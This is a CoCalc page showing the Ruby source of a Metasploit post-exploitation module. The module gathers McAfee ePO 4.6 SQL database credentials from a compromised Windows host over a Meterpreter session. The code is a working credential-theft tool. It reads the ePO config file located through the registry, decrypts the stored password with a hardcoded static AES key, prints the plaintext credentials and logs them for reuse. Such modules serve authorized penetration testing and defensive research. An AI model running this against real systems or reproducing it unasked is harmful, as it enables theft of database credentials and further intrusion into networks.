CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/epo_sql.rb
Views: 11703
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/dns/resolver'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Registry
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
17
'Description' => %q{
18
This module extracts connection details and decrypts the saved password for the
19
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
20
config file. They are encrypted with AES-128-ECB and a static key.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
24
'Platform' => [ 'win' ],
25
'SessionTypes' => [ 'meterpreter' ],
26
'Compat' => {
27
'Meterpreter' => {
28
'Commands' => %w[
29
core_channel_eof
30
core_channel_open
31
core_channel_read
32
core_channel_write
33
stdapi_net_resolve_host
34
]
35
}
36
}
37
)
38
)
39
end
40
41
def run
42
# Find out where things are installed
43
print_status('Finding Tomcat install path...')
44
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)
45
if subkeys.nil? || subkeys.empty?
46
print_error('ePO 4.6 Not Installed or No Permissions to RegKey')
47
return
48
end
49
# Get the db.properties file location
50
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
51
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)
52
if dbprops_file.nil? || (dbprops_file == '')
53
print_error('Could not find db.properties file location')
54
else
55
dbprops_file << '/conf/orion/db.properties'
56
print_good('Found db.properties location')
57
process_config(dbprops_file)
58
end
59
end
60
61
def process_config(filename)
62
config = client.fs.file.new(filename, 'r')
63
print_status("Processing #{filename}")
64
contents = config.read
65
config_lines = contents.split("\n")
66
for line in config_lines
67
line.chomp
68
line_array = line.split('=')
69
case line_array[0]
70
when 'db.database.name'
71
database_name = ''
72
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
73
when 'db.instance.name'
74
database_instance = ''
75
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
76
when 'db.user.domain'
77
user_domain = ''
78
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
79
when 'db.user.name'
80
user_name = ''
81
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
82
when 'db.port'
83
port = ''
84
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
85
when 'db.user.passwd.encrypted.ex'
86
# ePO 4.6 encrypted password
87
passwd = ''
88
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
89
passwd.gsub('\\', '')
90
# Add any Base64 padding that may have been stripped out
91
passwd << '=' until (passwd.length % 4 == 0)
92
plaintext_passwd = decrypt46(passwd)
93
when 'db.user.passwd.encrypted'
94
# ePO 4.5 encrypted password - not currently supported, see notes below
95
passwd = ''
96
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
97
passwd.gsub('\\', '')
98
# Add any Base64 padding that may have been stripped out
99
passwd << '=' until (passwd.length % 4 == 0)
100
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
101
when 'db.server.name'
102
database_server_name = ''
103
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
104
end
105
end
106
107
# resolve IP address for creds reporting
108
109
result = client.net.resolve.resolve_host(database_server_name)
110
if result[:ip].nil? || result[:ip].empty?
111
print_error('Could not determine IP of DB - credentials not added to report database')
112
return
113
end
114
115
db_ip = result[:ip]
116
117
print_good("SQL Server: #{database_server_name}")
118
print_good("SQL Instance: #{database_instance}")
119
print_good("Database Name: #{database_name}")
120
if db_ip
121
print_good("Database IP: #{db_ip}")
122
end
123
print_good("Port: #{port}")
124
if user_domain.nil? || (user_domain == '')
125
print_good('Authentication Type: SQL')
126
full_user = user_name
127
else
128
print_good('Authentication Type: Domain')
129
print_good("Domain: #{user_domain}")
130
full_user = "#{user_domain}\\#{user_name}"
131
end
132
print_good("User: #{full_user}")
133
print_good("Password: #{plaintext_passwd}")
134
135
if db_ip
136
# submit to reports
137
service_data = {
138
address: Rex::Socket.getaddress(db_ip),
139
port: port,
140
protocol: 'tcp',
141
service_name: 'mssql',
142
workspace_id: myworkspace_id
143
}
144
145
credential_data = {
146
origin_type: :session,
147
session_id: session_db_id,
148
post_reference_name: refname,
149
username: full_user,
150
private_data: plaintext_passwd,
151
private_type: :password
152
}
153
154
credential_core = create_credential(credential_data.merge(service_data))
155
156
login_data = {
157
core: credential_core,
158
access_level: 'User',
159
status: Metasploit::Model::Login::Status::UNTRIED
160
}
161
162
create_credential_login(login_data.merge(service_data))
163
print_good('Added credentials to report database')
164
else
165
print_error('Could not determine IP of DB - credentials not added to report database')
166
end
167
end
168
169
def decrypt46(encoded)
170
encrypted_data = Rex::Text.decode_base64(encoded)
171
aes = OpenSSL::Cipher.new('AES-128-ECB')
172
aes.decrypt
173
aes.padding = 0
174
# Private key extracted from ePO 4.6.0 Build 1029
175
# If other keys are required for other versions of 4.6 - will have to add version
176
# identification routines in to the main part of the module
177
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
178
aes.key = key.pack('C*')
179
password = aes.update(encrypted_data) + aes.final
180
# Get rid of all the crazy \f's that result
181
password.gsub!(/[^[:print:]]/, '')
182
return password
183
end
184
end
185
186